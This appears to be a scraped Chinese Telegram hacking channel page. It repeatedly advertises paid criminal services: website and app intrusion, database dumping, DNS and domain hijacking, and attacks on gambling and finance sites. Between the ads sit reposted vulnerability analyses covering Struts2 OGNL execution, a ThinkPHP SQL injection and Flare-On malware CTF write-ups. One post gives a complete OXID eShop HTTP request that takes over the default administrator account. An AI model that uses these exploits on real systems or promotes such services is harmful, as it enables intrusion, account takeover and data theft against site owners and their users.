黑客渗透 金融劫持 BC域名跳转
17.5K subscribers
1.8K photos
19 videos
2 files
163 links
金融股民渗透国内app,海外网站app,入侵后台,脱裤数据库, dns劫持 服务器进入等等
破解网站app软件技术等等 黑客技术咨询
@hacker_HouZiM
Download Telegram
S2-029漏洞的问题是OGNL表达式二次执行,对应struts2版本为Struts 2.0.0 - Struts 2.3.24.1(2.3.20.3除外)官方对这个漏洞的简介是会对分配给某些标记的属性值进行二次执行,因此可以传入一个值,该值在rendered tags attribute会再次执行。
我们可以观察一下struts2是如何处理html的id标签,在看UIBean类之前,先讲一下OGNL二次执行的点,首先是这样的。
我在example.jsp的代码是这样的,接收参数的值用${value}包含了起来,就像这样。
那么我存进去的表达式,就会产生OGNL表达式执行,再看看后端的处理方式。
findString方法执行了一次表达式,随后findStringIfAltSyntax又解析了一次表达式
只要html标签的id值可控,就可以任意代码执行,name属性的值同样。
在struts2 2.3.24版本后官方增加了一些黑名单类列表以及一些包名,在struts-default.xml。
安全管理器也增加了包检查器,类检查器和成员类检查器,关于这些检查器的实现,都是从定义好的排除类名迭代循环匹配
结合POC之所以能够执行命令,是因为OGNL上下文一个安全检查方法的逻辑判断出错了,导致现有安全机制失效。关注一下ObjectPropertyAccessor类的setPossibleProperty方法,这个方法是对表达式完成赋值操作的。

渗透爬虫软件 资源采集 劫持域名 提取抓料子 六合·色站·彩票·博彩·金融 接渗透拿站,各大网站数据-拖库-提权联系 域名劫持 DNS 入侵网站 联系:@hacker_HouZiM
先调用一下这个模块看一下有哪些options是属于用户输入范畴的。
可以看到msf的模块也支持自定义checkurl,并且提供自定义测试标记,即响应码和匹配模式,并且还支持是否验证CONNECT通道代理方法。所以可以发现从用户自定义角度来说,msf相对nmap会更加人性化。不过基本上也是和nmap有异曲同工之妙,为什么这么说,因为,emmm……
然后对模块的方法实现进行一个分析,首先是一个初始化方法,其实就是默认值的赋值,和刚刚在options选项中看到的基本一样。
第二个方法是run_host(),这个方法就是自定义用户输入的内容。直接看一下执行主体的verify_target()方法,脚本里写的代码很简单。就是调用了send_request_cgi()方法获取到response,然后对response处理分析来判断是否存在proxy打开的情况。判断一共分3中,没有response判断没有proxy情况,判断普通http代理就通过判断响应码或者响应数据中的匹配模式,而判断CONNECT通道代理就是只判断响应码是否符合。
其实重点在于这个send_request_cgi()方法,定位一下这个方法地址,先看一下全局include,可以确定为includeMsf::Exploit::Remote::HttpClient,找到这个方法的实现脚本地址为/opt/metasploit-framework/embedded/framework/lib/msf/core/exploit/http/client.rb,其实如果看不懂的话可以用grep一键找。
理一下send_request_cgi()方法主体,执行方法主要是下面这一段,所以接下来要定位一下connect()方法,来弄清楚request_cgi的具体执行参数的表达含义。
connect()方法首先会判断一下ssl协议,然后开始连接http server,可以看到这边的参数opt其实就是制定远程主机rhost的值,实际上就是check_url传入的值。
追踪到/opt/metasploit-framework/embedded/framework/lib/rex/proto/http/client.rb的request_cgi()方法,其实也就是基本的定义参数,然后进行client客户端去连接。

渗透爬虫软件 资源采集 劫持域名 提取抓料子 六合·色站·彩票·博彩·金融 接渗透拿站,各大网站数据-拖库-提权联系 域名劫持 DNS 入侵网站 联系:@hacker_HouZiM
通过使用 dnSpy,我们可以从内存中导出电路板数据,并编写一些 Python 脚本来提取这些单元格。以下是它们的位置(行,列):
1. [20, 7]
2. [24, 28]
3. [7, 28]

一开始我尝试点击那些单元格,结果发现棋盘的高度超过了屏幕高度,导致我无法点击单元格[24, 28]……🤨
总之,我们仍然可以使用 dnSpy 中的“设置下一条语句”功能来劫持程序流程。这里我让程序跳转到那一行。
1
this.RevealedCells.Add(row * MainForm.VALLOC_NODE_LIMIT + column);

直接修改row&col变量(在 dnSpy 中按 F2 键)到那些非地雷单元格的位置。然后跳转到GetKey获取标志的函数:

渗透爬虫软件 资源采集 劫持域名 提取抓料子 六合·色站·彩票·博彩·金融 接渗透拿站,各大网站数据-拖库-提权联系 域名劫持 DNS 入侵网站 联系:@hacker_HouZiM
这次我们拿到的是一个 .NET 二进制文件(binstall.exe)。通过使用 dnSpy,我们可以看到它被大量不可打印的 Unicode 字符进行了混淆处理:
但是,通过使用进程监视器和dnSpy的调试器,我们仍然可以弄清楚程序逻辑:
它将一个文件写入browserassist.dllC:\Users\<User>\AppData\Roaming\Microsoft\Internet Explorer\browserassist.dll
它设置了注册表,以便每次启动基于 Microsoft Windows 的应用程序时都会加载它browserassist.dll
然后我开始使用 IDA Pro 分析 dll 文件。这里我还使用了hasherezadedll_to_exe 工具来帮助我直接运行和调试 dll 文件。借助 IDA Pro 及其调试器,我们可以理清程序逻辑browserassist.dll
它首先检查主进程的文件名是否为firefox.exe(版本必须小于 55)。
然后它会下载文件内容https://pastebin.com/raw/hvaru8NU,并使用 RC4 进行解密。解密后的内容可以在这里查看。它本质上是一个 JSON 文件,指示了注入的恶意 JavaScript 代码的位置和内容。
最后,它将使用 DLL 注入来挂钩PR_Read&PR_Write函数nspr4.dllnss3.dll这两个函数都是由 Firefox 加载的)。
从json文件中我们得知,只有当我们使用主机名访问网站时,dll才会注入恶意js代码。通过查看flare-on.com*.flare-on.com的源代码,我们可以确认这就是我们的目标,因为它包含类似这样的文件。/js/view.js
通过使用 Firefox 54 和其他浏览器检查该网站,我们会发现一些差异。例如,恶意代码su在网页中添加了一条命令:
如果您使用的是其他浏览器,则会显示该su命令无效:
现在我们需要找出root用户的密码。这里密码验证逻辑也进行了混淆处理:
之后我们可以确定 root 密码是:k9btBW7k2y,并以 root 用户身份登录。

渗透爬虫软件 资源采集 劫持域名 提取抓料子 六合·色站·彩票·博彩·金融 接渗透拿站,各大网站数据-拖库-提权联系 域名劫持 DNS 入侵网站 联系:@hacker_HouZiM
DOM 型 XSS 攻击,实际上就是网站前端 JavaScript 代码本身不够严谨,把不可信的数据当作代码执行了。
在使用 .innerHTML.outerHTMLdocument.write() 时要特别小心,不要把不可信的数据作为 HTML 插到页面上,而应尽量使用 .textContent.setAttribute() 等。
如果用 Vue/React 技术栈,并且不使用 v-html/dangerouslySetInnerHTML 功能,就在前端 render 阶段避免 innerHTMLouterHTML 的 XSS 隐患。
DOM 中的内联事件监听器,如 locationonclickonerroronloadonmouseover 等,<a> 标签的 href 属性,JavaScript 的 eval()setTimeout()setInterval() 等,都能把字符串作为代码运行。如果不可信的数据拼接到字符串中传递给这些 API,很容易产生安全隐患,请务必避免。

渗透爬虫软件 资源采集 劫持域名 提取抓料子 六合·色站·彩票·博彩·金融 接渗透拿站,各大网站数据-拖库-提权联系 域名劫持 DNS 入侵网站 联系:@hacker_HouZiM
合适的 HTML 转义可以有效避免 XSS 漏洞。
完善的转义库需要针对上下文制定多种规则,例如 HTML 属性、HTML 文字内容、HTML 注释、跳转链接、内联 JavaScript 字符串、内联 CSS 样式表等等。
业务 RD 需要根据每个插入点所处的上下文,选取不同的转义规则。
通常,转义库是不能判断插入点上下文的(Not Context-Aware),实施转义规则的责任就落到了业务 RD 身上,需要每个业务 RD 都充分理解 XSS 的各种情况,并且需要保证每一个插入点使用了正确的转义规则。
这种机制工作量大,全靠人工保证,很容易造成 XSS 漏洞,安全人员也很难发现隐患。
2009年,Google 提出了一个概念叫做:Automatic Context-Aware Escaping
所谓 Context-Aware,就是说模板引擎在解析模板字符串的时候,就解析模板语法,分析出每个插入点所处的上下文,据此自动选用不同的转义规则。这样就减轻了业务 RD 的工作负担,也减少了人为带来的疏漏。
在一个支持 Automatic Context-Aware Escaping 的模板引擎里,业务 RD 可以这样定义模板,而无需手动实施转义规则:
模板引擎经过解析后,得知三个插入点所处的上下文,自动选用相应的转义规则:




渗透爬虫软件 资源采集 劫持域名 提取抓料子 六合·色站·彩票·博彩·金融 接渗透拿站,各大网站数据-拖库-提权联系 域名劫持 DNS 入侵网站 联系:@hacker_HouZiM
$res = db('user')->where(['id'=> 1])->insert(['username'=>$username]);下好断点后进入
跟随到insert函数中thinkphp/library/think/db/Query.php:2079
public function insert(array $data = [], $replace = false, $getLastInsID = false, $sequence = null)
{
// 分析查询表达式
$options = $this->parseExpress();
$data = array_merge($options['data'], $data);
// 生成SQL语句
$sql = $this->builder->insert($data, $options, $replace);
....

跟进$sql = $this->builder->insert($data, $options, $replace);
然后跟进到第一行的$data = $this->parseData($data, $options);中看看是如何解析数据的
对传入的$data变量进行遍历,当$val[0]=='inc'时,就会将$val[1]$val[2]拼接
(本意应该是生成一个
INSERT INTO `user` (`username`) VALUES ( username+1 )

这类似的语句
但是这里没有对拼接的参数进行验证,导致恶意sql语句被拼接,从而引发sql注入
除了insert方法还有update也能触发该漏洞

渗透爬虫软件 资源采集 劫持域名 提取抓料子 六合·色站·彩票·博彩·金融 接渗透拿站,各大网站数据-拖库-提权联系 域名劫持 DNS 入侵网站 联系:@hacker_HouZiM
该错误是由checkValues()调用的方法checkLogin()的代码造成的。事实证明,这个功能比“只检查”电子邮件地址要更复杂一些。实际上,我们尝试滥用的“bug”是OXID的一个特征。这就是为什么添加的清理功能不检查oxuser_usernameoxuser_oxpassword的原因所在。
当我们在invAdr数组中添加oxuser__oxusername键的值时,我们还必须提供密码(数组键oxuser_password)。然后用我们自己也可以提供的HTTP请求参数user_password来检查该字段的值。因此请求中的所有password fields必须包含与值相同的哈希散列。
长话短说,我们可以覆盖默认管理员帐户的用户名和密码哈希值。这会将默认管理员的用户名更改为hacked@mogwailabs.de,密码为hacked456
POST /index.php?lang=1& HTTP/1.1
Host: 10.165.188.125
User-Agent: Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:61.0) Gecko/20100101 Firefox/61.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Referer: http://10.165.188.125/index.php?lang=1&cl=register&fnc=logout&redirect=1
Content-Type: application/x-www-form-urlencoded
Content-Length: 1526
Cookie: oxidadminlanguage=en; oxidadminprofile=0%40Standard%4010; language=1; sid=nht6r60vqs46cjkjpdn1t5n6a1; sid_key=oxid
Connection: close
Upgrade-Insecure-Requests: 1

stoken=98BFFD11&lang=1&actcontrol=register&fnc=registeruser&cl=register&lgn_cook=0&reloadaddress=&option=3&lgn_usr=poc%40mogwailabs.de&lgn_pwd=990caf953cd3b566e11d8f3a02ae612fc6c96f9bb26e14cf93d129e66c0aefd425e4f3991eda97a21738548bd08dc72a3a10bc197c856e6ec42daaa68cf7e2cb&lgn_pwd2=990caf953cd3b566e11d8f3a02ae612fc6c96f9bb26e14cf93d129e66c0aefd425e4f3991eda97a21738548bd08dc72a3a10bc197c856e6ec42daaa68cf7e2cb&blnewssubscribed=0&invadr%5Boxuser__oxsal%5D=MR&invadr%5Boxuser__oxfname%5D=PoC&invadr%5Boxuser__oxlname%5D=PoC&invadr%5Boxuser__oxcompany%5D=&invadr%5Boxuser__oxaddinfo%5D=&invadr%5Boxuser__oxstreet%5D=Poc&invadr%5Boxuser__oxstreetnr%5D=123&invadr%5Boxuser__oxzip%5D=12345&invadr%5Boxuser__oxcity%5D=PoC&invadr%5Boxuser__oxustid%5D=&invadr%5Boxuser__oxcountryid%5D=a7c40f631fc920687.20179984&invadr%5Boxuser__oxstateid%5D=&invadr%5Boxuser__oxfon%5D=&invadr%5Boxuser__oxfax%5D=&invadr%5Boxuser__oxmobfon%5D=&invadr%5Boxuser__oxprivfon%5D=&invadr%5Boxuser__oxbirthdate%5D%5Bmonth%5D=&invadr%5Boxuser__oxbirthdate%5D%5Bday%5D=&invadr%5Boxuser__oxbirthdate%5D%5Byear%5D=&save=&invadr[oxuser__oxid]=oxdefaultadmin&invadr[oxuser__oxusername]=hacked@mogwailabs.de&invadr[oxuser__oxpasssalt]=49a9a9a9a4fc191cba6cec03bb65bad3&invadr[oxuser__oxpassword]=990caf953cd3b566e11d8f3a02ae612fc6c96f9bb26e14cf93d129e66c0aefd425e4f3991eda97a21738548bd08dc72a3a10bc197c856e6ec42daaa68cf7e2cb&user_password=990caf953cd3b566e11d8f3a02ae612fc6c96f9bb26e14cf93d129e66c0aefd425e4f3991eda97a21738548bd08dc72a3a10bc197c856e6ec42daaa68cf7e2cb

您可以检查数据库条目以验证是否成功地利用了漏洞。当然,您也可以登录OXID管理员后端(/admin)。
mysql> select oxid, oxusername from oxuser where oxid='oxdefaultadmin';
+----------------+----------------------+
| oxid | oxusername |
+----------------+----------------------+
| oxdefaultadmin | hacked@mogwailabs.de |
+----------------+----------------------+
1 row in set (0.00 sec)


渗透爬虫软件 资源采集 劫持域名 提取抓料子 六合·色站·彩票·博彩·金融 接渗透拿站,各大网站数据-拖库-提权联系 域名劫持 DNS 入侵网站 联系:@hacker_HouZiM
DefaultActionMapper调用parseNameAndNamespace()解析namespace和name。当alwaysSelectFullNamespace为true时,namespace的值可以通过uri控制
Action执行结束时,调用ServletActionRedirectResult.execute()进行重定向Result的解析,通过ActionMapper.getUriFromActionMapping()重组namespace和name后,由setLocation() 将带namespace的location放入父类StrutsResultSupport中
StrutsResultSupport拿到location后,通过TextParseUtil.translateVariables()调用OgnlTextParser.evaluate()解析执行url中的OGNL表达式,导致代码执行

渗透爬虫软件 资源采集 劫持域名 提取抓料子 六合·色站·彩票·博彩·金融 接渗透拿站,各大网站数据-拖库-提权联系 域名劫持 DNS 入侵网站 联系:
@hacker_HouZiM